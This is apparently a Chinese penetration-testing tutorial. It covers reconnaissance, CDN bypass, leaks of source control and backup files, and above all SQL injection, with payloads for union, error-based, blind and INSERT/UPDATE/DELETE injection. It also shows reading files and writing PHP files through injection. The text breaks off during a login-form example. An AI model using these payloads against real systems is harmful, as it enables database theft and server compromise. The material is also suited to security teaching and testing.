渗透测试最佳实践

目录

信息收集

  信息收集的主要目的是为了制定下一步的攻击方案。

  那信息收集要收集哪些信息?

是否存在CDN

验证是否存在CDN

  • 方法1

  很简单,使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:

1
2
3
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/
  • 方法2

  试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.

  有CDN的示例:

1
2
3
4
5
6
7
8
9
10
>nslookup www.163.com
服务器: 192.168.1.1
Address: 192.168.1.1

非权威应答:
名称: 163.xdwscache.ourglb0.com
Addresses: 175.154.186.43
119.6.226.156
Aliases: www.163.com
www.163.com.lxdns.com

  无CDN的示例:

1
2
3
4
5
6
7
>nslookup www.swust.edu.cn
服务器: 192.168.1.1
Address: 192.168.1.1

非权威应答:
名称: www.swust.edu.cn
Address: 220.166.52.101

  里面一些名词的解释

1
2
3
名称 :这个名称指的是主机规范名
Addresses : 域名对应的解析IP
Aliases : 别名,比如 www.baidu.com就是百度的别名
  • 方法3

  在线工具查看是否存在CDN,可以参考以下站点:

1
2
http://www.cdnplanet.com/tools/cdnfinder/
http://www.ipip.net/ip.html

绕过CDN查找网站真实IP

  • 1.查询历史DNS记录

  查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:

1
2
3
4
5
6
7
https://dnsdb.io/zh-cn/

https://x.threatbook.cn/

http://toolbar.netcraft.com/site_report?url=

http://viewdns.info/
  • 2.查询子域名

  有可能有些站长只给主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服务器上,或者 C段中,这样可以通过子域名来辅助找到网站真实IP

  • 3.利用网站漏洞

  fopen 、 file_get_contents 这些函数,将文件参数改成自己服务器的IP,让对方服务器主动连接我们,然后从日志找到对方真实IP

  • 4.目标敏感文件泄露

  比如PHPinfo这类的探针

  • 5.从CDN下手

  使用社工等手段拿到目标管理员在CDN的账号,然后即可找到真实IP

  • 6.利用Zgrab绕CDN找真实IP

  利用Zgrab绕CDN找真实IP

  • 7.邮件

  在一些站点上注册用户会给发邮件,从邮件中可以找到该站点的真实IP

绕过CDN防护

  当我们通过上面的方法拿到真实的IP以后,如何绕过CDN带来的防护呢?

  修改hosts文件,添加域名对应IP

服务器信息

  • IP地址,结合上面的CDN绕过,获取到IP

  • 服务器的系统类型 (windows、linux(Ubuntu、ContentOS))

  • 支持的脚本类型 (asp、aspx、php、jsp)

  • Web容器 (apache 、IIS 、nginx)

  • 开放端口情况 (21,22,80,1433,5900,3306,3389,8080,43958)

  • 绝对路径 (报错页面显示、探针显示)

子域名收集

  这里主要提到两款子域名收集的工具 和 一个资产收集的平台

Digger v2.0

  Digger 是我个人编写的一款子域名收集的工具,主要从百度进行子域名爬取,并验证子域名是否可以访问。具体请看 子域名发现工具

Layer子域名挖掘机

  Layer 是Seay法师写的一款,以暴力枚举为主的子域名收集工具。Layer子域名挖掘机V2.1

  两款工具对比,如何选择呢?

1
2
3
4
两款工具各有优点,Digger在目标站点被百度大量收录的情况下使用,效果更加,而且相比于Layer会快很多

Layer 在目标站点被百度收录较少的时候使用效果不错,但是有一个不太好的地方就是,Layer把生成的子域名字符
串会加载到内存中,导致程序占用大量内存而变得很卡。(很多老工具都有这个问题,比如御剑前辈的后台扫描)

云悉资产收集

  云悉是一个很棒的在线分布式资产收集平台,具体可以到 http://www.yunsee.cn 了解一下。

Whois查询

  用站长工具whois查询域名的所有者情况和注册邮箱,可以根据注册者的信息生成爆破字典。

指纹验证

  指纹验证是识别目标站点采用了什么CMS搭建,然后根据CMS制定攻击方案

  指纹验证工具有两个:

  • 御剑前辈的指纹识别系统

  • 云悉的指纹识别

WAF探测

  进行WAF探测的目的是为了防止在有WAF的情况下还进行大规模的扫描导致被封IP。

wafw00f

  WAF探测常用的工具是 kali下的 WafW00f , 对国外的waf探测效果比较好,对国内的waf不太敏感。具体还是要自己手工进行探测。

手工探测WAF

  • 护卫神 ,在有护卫神的站点上会发现HTML中会有\<hws>\<\hws>这样的标签

  • 安全狗 ,随便输入一个目标站点不存在的页面,它便会跳转到安全狗的404界面

  • 云Waf , 比如腾讯云、阿里云,如果发现目标主机IP是这两个云产品的,一般情况下,该目标会受到腾讯云、阿里云的保护。此外云waf还有百度的加速乐等..

  阿里在本月(2018.03)发布了通知,云防护要另收费了。

绝对路径

  绝对路径探测也是信息收集的一部分,在后面的渗透中很多地方需要用到据对路径来进行下一步渗透。

  绝对路径的探测方法:

1
2
3
1.site:域名 warning # google or baidu
2.报错显示,比如注入点报错就可以显示出来
3.phpinfo中泄露

漏洞发现

目录扫描

  目录扫描的目的是为了探测目标的目录情况,从而分析目标的CMS情况、敏感信息泄露情况 以及 一个大体的站点地图。

  这里推荐用御剑前辈的后台扫描器,如果有时间的话,笔者也会写一款后台扫描器,以修复御剑前辈扫描器的不足之处。

蜘蛛爬行

  蜘蛛爬行和目录扫描的目的差不多,都是为了帮助用户建立一个大概的站点地图,但是两者采用的方法却不同,目录扫描是根据字典进行枚举,而蜘蛛爬行则是从站点的链接中获取站点的目录情况。

  蜘蛛爬行相较于目录扫描的最大优点在于,能爬出苛刻的目录,比如web后台的目录是bnbndmw/login.php,而bnbndmw是比较苛刻的字符很难有字典包含这个字符,而这个链接又存在于站点的其他html链接中,就会被蜘蛛发现,从而收集到。

  蜘蛛爬行在常用的漏洞扫描器中 以及 Burpsuite里面都具备。

漏洞扫描器

AWVS

  awvs是一款很优秀的扫描器,它代替我们进行探测,从而节省人力地发现站点漏洞,并生成报告的一款漏洞扫描器。

  不仅如此,awvs也是一个用户界面简单,操作简单的的扫描器。它也支持多站点同时进行漏洞扫描。

  下图就是我用AWVS 11 进行漏洞扫描的一个截图

Burpsuite

  Burpsuite不止是一个抓包分析工具,他还具备爬虫、被动漏洞扫描、主动漏洞扫描、自动化攻击、重放等功能。

  漏洞扫描器的种类很多,这两款是笔者常用的两款。

根据CMS发现漏洞

  在已知对方使用的CMS时,我们可以去百度该CMS存在哪些漏洞,然后用已知的漏洞进行测试。

  比如:目标站点使用的是PHPCMS V9,那么我们去百度PHPCMS V9的漏洞:

  然后我可以用百度到的这些漏洞详情去测试目标站点是否存在该漏洞。

源代码泄露漏洞

代码压缩包泄露

  有些站点的管理员将源码备份成压缩包的格式,却放在了Web目录下,攻击者访问该压缩包的时候就会下载该压缩包。

  常见后缀 : .zip .rar .tar.gz .7z

SVN源代码泄露

漏洞成因

  管理员对SVN的机制不熟悉,直接将SVN检出到本地的web目录下,而忘记删除.svn目录(文件的类型及内容存放目录),从而导致攻击者拿到站点的源代码。

SVN源代码泄露两个版本的区别

  SVN1.7后取消了text-base备份文件夹,同时访问.svn/entries返回数字12。1.7以后的版本不会在每个目录下生成.svn的文件,仅在根目录下生成.svn文件。

  并且在.svn目录下存在wc.db,该数据库文件在NODES表单local_relpath为真实文件名,checksum为文件的sha1值,kind表示文件类型(dir->目录,file->文件)

  在.svn/pristine目录的二级目录下存储着源代码,文件名是sha1值.svn-base,二级目录名是sha1值的前两位。

1
payload:http://www.admintony.com/.svn/pristine/sha1前两位/sha1.svn-base

利用工具

1
2
3
当SVN < 1.7时候,使用Seay法师的svn源代码利用工具

当SVN > 1,7时候,使用笔者的工具http://admintony.com/2018/02/06/SVN源代码泄露利用工具/

git源码泄露

  从git仓库下载代码的时候,会在本地生成一个.git隐藏文件夹(存放代码的变更记录),导致攻击者可以使用该文件夹下的信息拿到代码。

  利用工具:GitHack

swp源码泄露

  使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。

  利用方法:访问.swp文件会下载该文件,然后vi -r 文件名 来恢复内容

  然后按下任意键就可以看到其中的代码了。

数据库外泄

  不只是源码泄露会导致安全威胁,其实数据库泄露也会导致安全威胁。

  数据库外泄指的是数据库文件泄露,比如ACCESS的数据库是.mdb 以及上面提到的 .db 是SQLite的数据库。这两种数据库系统将数据保存在该格式的文件中,而数据库文件又在WEB目录下,攻击者可以下载数据库从而拿到数据。

  这种漏洞影响最多的是ASP+ACCESS的站点,比较经典两个案例:

1
2
1.某些CMS的目录下存在/data/#data.mdb 文件
2.ewebeditor 后台GETSHELL,下载eweb的数据库就是其中关键的一步

WEB-INF/web.xml泄露

WEB-INF介绍

  WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

1
2
3
4
5
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

漏洞检测和利用

  通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

  一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,使用了Nginx的安全策略,导致web.xml能够被攻击者访问到。

CVS泄露

  测试目录

1
2
3
http://url/CVS/Root 返回根信息

http://url/CVS/Entries 返回所有文件的结构

  取回源码命令

1
bk clone http://url/name

  bk下载地址

DS_Store文件泄漏

漏洞成因

  在发布代码时未删除文件夹中隐藏的.DS_store,被发现后,获取了敏感的文件名等信息。

漏洞利用

1
python ds_store_exp.py http://www.example.com/.DS_Store

  ds_store_exp.py

Bazaar/bzr

1
rip-bzr.pl -v -u http://www.example.com/.bzr/

  dvcs-ripper

SQL注入

  SQL注入是将恶意SQL语句插入网站的参数中,然后被带入数据库执行的过程。

  SQL注入产生的危害很多,比如后台用户及密码泄露、会员用户的数据泄露、甚至权限足够的情况下可以让攻击者拿到webshell 以及 服务器权限。因此,SQL注入也是OWSP TOP 10的常客。

SQL注入产生原理

  开发者未对用户提交的数据进行过滤,从而导致恶意语句被带入数据库执行。

SQL注入分类

  SQL注入的分类很多,不同的人也会将注入分成不同的种类,下面笔者将介绍一下常见的分类。

根据数据库类型分类

  每一种数据库都有一种注入命名方式,以下是比较常见的数据库注入方式:

ACCESS注入

  • 0.数据库结构

  • 1.判断注入
1
2
and 1=1
and 1=2 # 结合正确参数使用

1
2
or 1=1 
or 1=2 # 结合错误参数使用

1
2
xor 1=1
xor 1=2 # 结合错误参数使用

  a XOR b <==> (a and (not b)) or ((not a) and b)

  还有简单的方法就是在id参数后加特殊符号,如’ “ \ % *等

联合查询法

  • 2.查字段个数
1
order by 22 # 回显正确

1
order by 23 # 回显错误

  因此存在22个字段。

  说明:这里判断出来的字段是当前页面所连接的表的字段个数而非管理员表字段个数;order by 是按照列数据进行排序的函数,用法为:order by 列名,之所以能用来判断列名个数是因为,order by 数字 <==> order by 第n个列名

  • 3.猜表名
1
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

  • 4.猜列名并爆数据
1
UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

  • 5.如何爆出所有的用户名
1
UNION SELECT TOP 1 1,2,admin,4,5 from admin
1
UNION SELECT 1,2,admin,4,5 from admin where id = 1

逐字猜解法(盲注)

  • 1.注入检测

  请移步上方不再赘余

  • 2.猜表名
1
and exists (select * from 表名)

  • 3.猜列名
1
and exists (select 列名 from 表名)

  • 4.获取数据长度
1
and (select top 1 len(列名) from 表名)>=5

  • 5.获取指定位数的数据
1
and (select top 1 asc(mid(列名,位数,1)) from 表)>=97

  • 6.盲注的核心

  盲注的核心其实是用字符串截取函数一位一位的截取数据,之后把截取到的数据用字符转ascii函数转换成ascii码和数字进行对比,之后将ascii码还原成字符。

  盲注工具:ACCESS注入之逐字猜解法-Python工具

MySQL注入

  • 0.MySQL数据库结构

  MySQL 5.0以上版本的数据库结构图

  • 1.判断注入
1
2
3
4
5
6
7
8
9
10
and 1=1  (and 1)
and 1=2 (and 0)

or 1=1 (or 1)
or 1=2 (or 0)

xor 1=1 (xor 1)
xor 1=2 (xor 0)

特殊符号:' " \ %
  • 2.猜列的个数
1
order by n
  • 3.查信息

  爆显位不同于ACCESS,MySQL爆显位不需要接from子句,但ACCESS要接from子句才可以。

1
union select @@version,2,3

  可查的信息有:

1
2
3
4
5
6
7
8
9
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
  • 4.查数据库名
1
union select group_concat(schema_name),2,3 from information_schema.schemata

  • 5.查表名
1
union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()

  这里的table_schema的值可以用:

1
2
3
4
双引号(单引号)引住明文
明文的16进制字符
database()函数
char(明文的ascii)

  • 查列名
1
union select group_concat(column_name),2,3 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)

  • 查数据
1
union select user,pwd,3 from admin

  • 常见问题:
1
2
3
4
5
6
7
8
9
1.无法爆出显位,在id前面加上"-"使其报错

2.注入多个用户的数据 limit i,1

3.注入所有表或列,使用group_concat、concat、concat_ws函数

4.order by 和 top 1 不兼容,因为两者都是排序子句,而一般top 1 又在可控参数之前,所以无法使用order by

5.程序SQL语句中已有order by,一般程序SQL语句中的order by会在可控点之后,那么我们想要使用order by语句判断列数,就要将后面的语句注释掉(e.g. order by 10 %23)

小技巧:NULL填充判断列数

  有时候order by 无法使用的时候,可以使用NULL填充法判断列数,攻击者可以构造payload:

1
UNION SELECT NULL,NULL,...,NULL

  直到页面回显正确,页面回显正确的时候的NULL的个数即是列的数量,确定列的数量以后的注入方法和上面介绍的确定列数量以后的注入方法一致。

MSSQL注入

Oracle注入

根据注入点权限划分

普通权限注入

  普通权限注入是指所有使用低权限用户连接数据库的注入点,普通权限注入分为两类:

1
2
1.非root(sa、dba)用户
2.降权后的root、sa、dba

  普通权限的注入点利用方法很有限,只能对数据库进行增删改查,而不具有文件操作等权限。

高权限注入

  高权限注入是指所有使用高权限用户(root、sa、dba)连接数据库的注入点。高权限的注入点利用方式很多,不仅限于增删改查,一般还具有读写文件的权限(特殊情况后面介绍)和存储扩展的调用权限

  高权限的注入点产生的危害,包括但不仅限于:

1
2
3
1.获取数据库中的数据
2.读写文件,读取文件和写shell
3.调用存储扩展获取系统权限(MSSQL)

  影响读写文件的因素:

1
2
1.是否拥有file权限
2.secure_file_priv选项

  secure_file_priv选项请参考:http://admintony.com/2017/11/24/MYSQL新特性限制文件写入及替代方法/

  • 读文件
1
union select 1,load_file('D:\\phpStudy\\WWW\\fuzz\\index.php'),3

路径注意点:

1
2
3
4
5
1.路径使用\\ ,否则会被当作转义符号
2.路径使用/
3.盘符根路径下可用c:admin.txt
4.16进制文件名
5.char(路径ascii)
  • 写文件
1
union select 1,'<?php phpinfo();?>',3 into outfile 'd:\\phpstudy\\www\\fuzz\\phpinfo.php'

  • SQLMAP的os-shell 与 sql-shell

–sql-shell

  –sql-shell获取一个sqlShell用于执行SQL命令。

  –os-shell获取一个cmdShell,用于执行cmd命令,对于MSSQL该选项是调用xp..cmdshell存储扩展进行执行命令的;对于MySQL该选项是通过into outfile写入shell,然后再执行命令的,因此对于MySQL需要绝对路径

1
2
3
4
[1] common location(s) ('C:/xampp/htdocs/, C:/Inetpub/wwwroot/') (default)  # 常用的网站根路径
[2] custom location(s) # 用户输入
[3] custom directory list file # 从文件导入
[4] brute force search # 爆破

  对于MySQL os-shell写入的两个马儿说明:第一个是一个小马(上传文件用);第二个是一个一句话,密码为cmd

小技巧:

根据页面回显不同分类

普通注入

  前面介绍到的那些有回显的注入,就是这里所说的普通注入,因为它们无论是以什么提交方式进行注入的,无论是什么数据库,无论执行的SQL语句是什么,它们都有一个共同的特点,那就是有正常回显。

报错注入

  报错注入是利用数据库的一些函数,通过报错的方法将想要查询的数据显示给攻击者。报错注入有一个限制条件:

1
echo  "<br>".mysql_error();

只有将SQL语句执行的错误信息打印出来才可以看到报错,所以报错注入需要程序能够打印SQL语句执行错误信息。

  MySQL中能够用在报错注入的函数有:

  • 第一个
1
2
3
4
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 第二个
1
2
3
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)

payload整理:

  • 获数据库取版本号
1
and updatexml(0,concat(0x7c,version()),1)

  • 查表名
1
and updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1)

  • 查列名
1
and updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')),1)

  • 查数据
1
and updatexml(0,concat(0x7c,(select concat(user,0x7c,pwd) from admin)),1)

  • EXTRACTVALUE函数payload:
1
2
3
4
5
6
7
and EXTRACTVALUE(0,concat(0x7c,version()))

and EXTRACTVALUE(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())))

and EXTRACTVALUE(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='admin')))

and EXTRACTVALUE(0,concat(0x7c,(select concat(user,0x7c,pwd) from admin)))

一个问题:

  updatexml 和 EXTRACTVALUE函数都只能爆出32位数据,如果要爆出32位以后的数据,需要借助mid函数来进行字符截取从而显示32位以后的数据。

1
mid(string,start,[length])

盲注-基于布尔的盲注

  在一些站点隐藏了错误信息的情况下,联合查询以及报错注入的方法均无法注入出数据的时候,需要用到盲注的方法来进行注入。

  基于布尔的盲注是根据页面差来进行判断注入和数据注入的。在存在注入的页面输入and (true)则返回页面1;输入and (false)则返回页面2,而页面1和页面2有差别,常见的情况页面1是正常页面,页面2是错误页面

  基于布尔盲注的过程:

  • 判断盲注
1
2
and 1=1 
and 1=2

  返回页面不相同。

  • 猜解当前数据库用户名

  第一步:判断当前数据库用户名的长度(以便逐位猜解用户名)

1
and (select length(user()))=长度

  第二步:逐位猜解当前数据库用户名

1
and (select ascii(substr(user(),位数,1)))=ascii

  • 猜解当前数据库名

  第一步:判断当前数据库的长度(以便逐位猜解数据库名)

1
and (select length(database()))=长度

  第二步:逐位猜解数据库名

1
and (select ascii(substr(database(),位数,1)))=ascii

  • 猜解表名

  第一步:判断表名的数量(以便逐个判断表名长度)

1
and (select count(table_name) from information_schema.tables where table_schema=database())=数量

  第二步:判断某个表的长度(以便逐位猜解表名)

1
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度

  第三步:逐位猜解表名

1
and (select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii

  • 猜解列名

  第一步:判断列名的数量(以便逐个判断列名长度)

1
and (select count(column_name) from information_schema.columns where table_name="表名")=数量

  第二步:判断某个列的长度(以便逐位猜解列名)

1
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度

  第三步:逐位猜解列名

1
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii

  • 猜数据

  第一步:判断数据的数量(以便逐个判断数据长度)

1
and (select count(user) from admin)=数量

  第二步:判断某条数据的长度(以便逐位猜解数据)

1
and (select length(user) from admin limit n,1)=长度

  第三步:逐位猜解数据

1
and (select ascii(substr(user,位数,1)) from admin limit n,1)=ascii

  基于布尔盲注的实质:

1
and (SQL语句)=数字 ,页面正确则结果为该数字,否则不是

  盲注过程十分的繁琐,可以自己编写工具进行测试,也可以用笔者的工具 https://github.com/admintony/SQL-injection 进行测试

盲注-基于时间的盲注

  基于布尔的盲注和基于时间的盲注不同,前者是通过页面差来判断是否存在注入以及数据注入的;后者无法得到页面差(比如:无论输入什么都得到同一个页面),而它只能通过SQL语句执行的时间来判断注入以及数据注入

  常见无界面差的情况:

  • 1.无论输入什么都只显示无信息页面,例如登陆页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的SQL注入会有效。

  • 2.无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面。采集用户的 IP、浏览器类型、refer字段、session字段,无论用户输入什么,都显示正常页面。

  注入过程:

  • 判断基于时间的盲注
1
2
and if(1=1,sleep(6),1)
and if(1=2,sleep(6),1)

  如上图所示,当if判断为真时,则会延时6s(sql语句执行了1s+延时6s=7s);而if判断为假时,则不延时,如下图。

  • 猜解当前数据库用户名

  第一步:猜解用户名的长度。(猜解到的用户名长度用于下面的逐位猜解用户名)

1
and if((select length(user()))=长度,sleep(6),0)

  第二步:逐位猜解用户名。

1
and if((select ascii(substr(user(),位数,1))=ascii码),sleep(6),0)

  • 猜解当前数据库名

  第一步:猜解数据库名的长度。

1
and if((select length(database()))=长度,sleep(6),0)

  第二步:猜解数据库名。

1
and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)

  • 猜表名

  第一步:判断表名的数量(以便逐个猜表名)

1
and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)

  第二步:判断某个表名的长度(以便逐位猜表名的数据)

1
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)

  第三步:逐位猜表名

1
and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)

  • 猜列名

  第一步:判断列名的数量(以便逐个猜列名)

1
and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)

  第二步:判断某个列名的长度(以便逐位猜列名的数据)

1
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)

  第三步:逐位猜列名

1
and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)

  • 猜数据

  第一步:判断数据的数量(以便逐个猜数据)

1
and if((select count(列名) from 表名)=个数,sleep(6),0)

  第二步:判断某个数据的长度(以便逐位猜数据)

1
and if((select length(user) from admin)=5,sleep(6),0)

  第三步:逐位猜数据

1
and if((select ascii(substr(user,1,1)) from admin)=97,sleep(6),0)

  基于时间的盲注实质:

1
if(布尔盲注语句,sleep(5),1)

根据程序SQL语句分类

  后台执行的SQL语句,不仅有select一种,还有INSERT、UPDATE、DELETE等。语句不同,注入的方法也就不一样了,下面我们就来介绍一下其他语句的注入方法。

INSERT注入

检测方法
  • 方法1:

  第一步:在数据提交点,插入单引号,如果数据插入失败,那么80%是注入,20%是拦截。

  原因:

1
INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');

  一般程序中的INSERT语句之中VALUES的值都是用单引号来包裹的,int型的不需要。所以插入单引号的时候就会影响语句闭合,因此插入失败。

  第二步:在数据提交点,插入双引号,数据正常插入,这时候90%确定是注入点了。

  原因:双引号不影响语句的闭合,因此插入成功。

  第三步:在数据提交点,插入\’,数据正常插入,这时候100%确认是注入点了。

  原因:\’是对单引号进行转义,转义后的单引号不会影响语句的闭合,因此插入成功。

  • 方法2:

  方法1比较繁琐,而且对于int型的数据插入点测试可能会失效,int型数据不需要单引号来包裹。

  方法2测试语句:

1
2
sleep(5)
'or sleep(5) or'

  在int型数据插入点,由于没有单引号包裹,所以可以直接用sleep(5)来判断,如果延时5秒则存在注入;而string型的数据插入点,有单引号包裹,所以我们要先闭合单引号。

报错法

  报错法,顾名思义,就是使用报错注入的方法进行注入的,但是这个方法有个局限性,那就是需要:

1
echo mysql_error(); //打印语句执行出错信息

  我们先看下正常的INSERT语句:

1
INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');

  INSERT语句的可控点在于VALUES中的值,这里我们就需要来闭合引号了,否则我们提交的SQL语句会被当作字符串来处理(原封不动的将语句插入数据库)。

  因此,INSERT语句配合报错注入的语句结构为:

1
' or updatexml(0,concat(0x7c,注入语句),1) or '

  接下来看注入的过程:

  • 爆版本号
1
' or updatexml(0,concat(0x7c,version()),1) or '

  • 爆数据库用户名
1
' or updatexml(0,concat(0x7c,user()),1) or '

  • 爆表名
1
'or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or '

  • 爆列名
1
'or updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='student')),0) or'

  • 爆数据
1
'and updatexml(1,concat(0x7c,(select name from student limit 0,1)),1) and'

闭合语句法

  闭合语句法不是上面我们说的闭合引号,而是通过闭合的方法将语句补充完整,使语句可以正常执行。这种方法的优点在于:不需要打印mysql执行的错误语句;其缺点在于:INSERT语句执行后,插入的信息能回显到界面中才行。

  我们先看下正常的INSERT语句:

1
INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');

  可控点是VALUES中的值,这里我们所说的闭合就是将引号和括号都闭合,使其成为完整的SQL语句,然后将程序本身的语句后段注释掉。

  注入payload的结构:

1
a',user(),'c');-- '

  说明:–后面有个空格,否则可能被识别为减号

  把payload带入语句中形成的最终语句为:

1
INSERT INTO 表名(col1,col2,col3) VALUES('a',user(),'c');-- '','b','c');

  注入过程:

  • 判断列数
1
1',2,3,4,5,6,7);-- '

  说明:最好用数字填充values的值,因为数字可以插入字符型的列,而字符串无法插入数字型的列

  当输入的值的个数和列的个数不匹配的时候,则会插入失败:

  当输入的值的个数和列的个数匹配的时候,则会插入成功。

  从而来判断列的个数。

  • 注入数据库用户
1
a',user(),3,4,5,6,7);--

  然后查看数据:

  • 注入表名
1
1',2,3,4,5,6,(select group_concat(table_name) from information_schema.tables where table_schema=database()));--

  然后查看数据:

  • 注入列
1
1',2,3,4,5,6,(select group_concat(column_name) from information_schema.columns where table_name='admin'));--

  然后查看数据:

  • 注入数据:
1
1',2,3,4,5,6,(select username from admin limit 0,1));--

  然后查看数据:

  • 常见问题:

  第一个:注入数据只能在string型(e.g. name)的列位置,因为int型(e.g. age)的列无法存放字符串。

  第二个:列有长度限制,如果注入出的数据过长,则会显示不全,可以逐段注入数据(limit 0,1 或者 mid(password,1,n))。

UPDATE注入

检测方法

  和INSERT注入检测方法相同,请参考上面的检测方法。

报错法

  UPDATE配合报错注入的语句结构:

1
'or updatexml(1,concat(0x7c,注入语句),2) or'
  • 爆数据库用户名
1
'or updatexml(1,concat(0x7c,user()),2) or'

  • 爆表名
1
'or updatexml(0,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1) or '

  • 爆列名
1
'or updatexml(0,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name = 'admin')),1) or '

  • 爆数据
1
'or updatexml(0,concat(0x7c,(select concat(username,0x7c,password) from admin)),1) or '

闭合语句法

  UPDATE语句闭合难度要比INSERT语句难一点,下面我们先看下UPDATE语句:

1
UPDATE table_name SET col1='aaa'[,col2='aaa'] where id = 1;

  这里我们要用到它的特性构造:

1
2
3
4
5
6
7
8
9
-- 方法1:
payload:aaa' where id=1 and (盲注语句)--

UPDATE table_name SET col1='aaa' where id=1 and (盲注语句)--' where id = 1;

-- 方法2:
payload:aaa',col2=user() where id=1--

UPDATE table_name SET col1='aaa',col2=user() where id=1-- ' where id=1;

  比较鸡肋的是:我们需要知道它的列名。

  这里侧重介绍一下第二种方法:

  • 查数据库用户名
1
a',class=user() where id=1017--

  查看信息

  • 查表名
1
a',class=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where id=1017--

  查看信息

  • 查列名
1
a',class=(select group_concat(column_name) from information_schema.columns where table_name='admin') where id=1017--

  查看信息

  • 查数据
1
a',class=(select password from admin) where id=1017--

  查看信息

DELETE注入

  DELETE语句:

1
DELETE FROM table_name where id=1

  DELETE语句给用户控制的点只有id=1这里了,所以注入方法比较简单,只能使用基于时间的盲注或者报错注入来进行了。

  • 判断注入
1
and if(1=1,sleep(5),0)

  • 注入过程

  注入过程只能采用报错注入或者基于时间的盲注,因为当where条件控制语句的集合为空的时候,也显示删除成功(语句执行成功了的)。

  配合报错注入:

1
and updatexml(0,concat(0x7c,注入语句),1)

  配合基于时间的盲注:

1
and if(盲注语句,sleep(5),0)

根据提交方式分类

  根据数据的提交方式进行分类,数据的提交方式包括GET、POST、COOKIE、HTTP头,所以此分类就有4类,GET注入、POST注入、COOKIE注入、HTTP注入

  其中,除GET注入以外,其他三种注入方法常常和盲注、报错注入配合使用。在本章节我们不会详细介绍盲注和报错注入的使用方法和选择方法,案例中我们也只提供一个Payload的框架,具体使用方法请到前面的相关章节学习。

GET注入

  使用GET型提交方法提交数据的注入点也被称为GET型注入。我们之前提到的SQL注入大多都是GET型注入,它的特点就是将注入语句放入URL中进行注入的。

POST注入

  顾名思义,使用POST型提交方法提交数据的注入点也被称为POST型注入,常见的POST型注入产生的地方有:登陆、注册等等。之前我们提到的INSERT注入就是以POST的提交方式提交数据的,因此它也属于一个POST型注入。

  POST型注入方法和GET型类似,如果有回显的话可以用联合查询法;如果无回显的话可以用盲注和报错注入;如果后台执行的SQL语句不是select,则按照对应的SQL语句注入方法进行注入即可。

  这里我们还是用之前MySQL注入演示的那套源码的后台登陆做演示

  第一步:抓取登陆包

  第二步:在Repeater中将注入payload放入用户名参数中(不放入密码参数是因为密码参数在带入数据库查询之前会做一个md5加密)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
admin' and if(1=1,sleep(5),0) and 'a'='a

/* 一般后台登陆的SQL语句为:

select * from admin where username='$username' and password='$password';

因为账号密码均是字符类型,因此需要单引号包裹

因此我们再构造payload的时候需要闭合单引号

admin' 闭合前面的单引号

and 'a'='a 闭合后面的单引号

payload带入后则是:

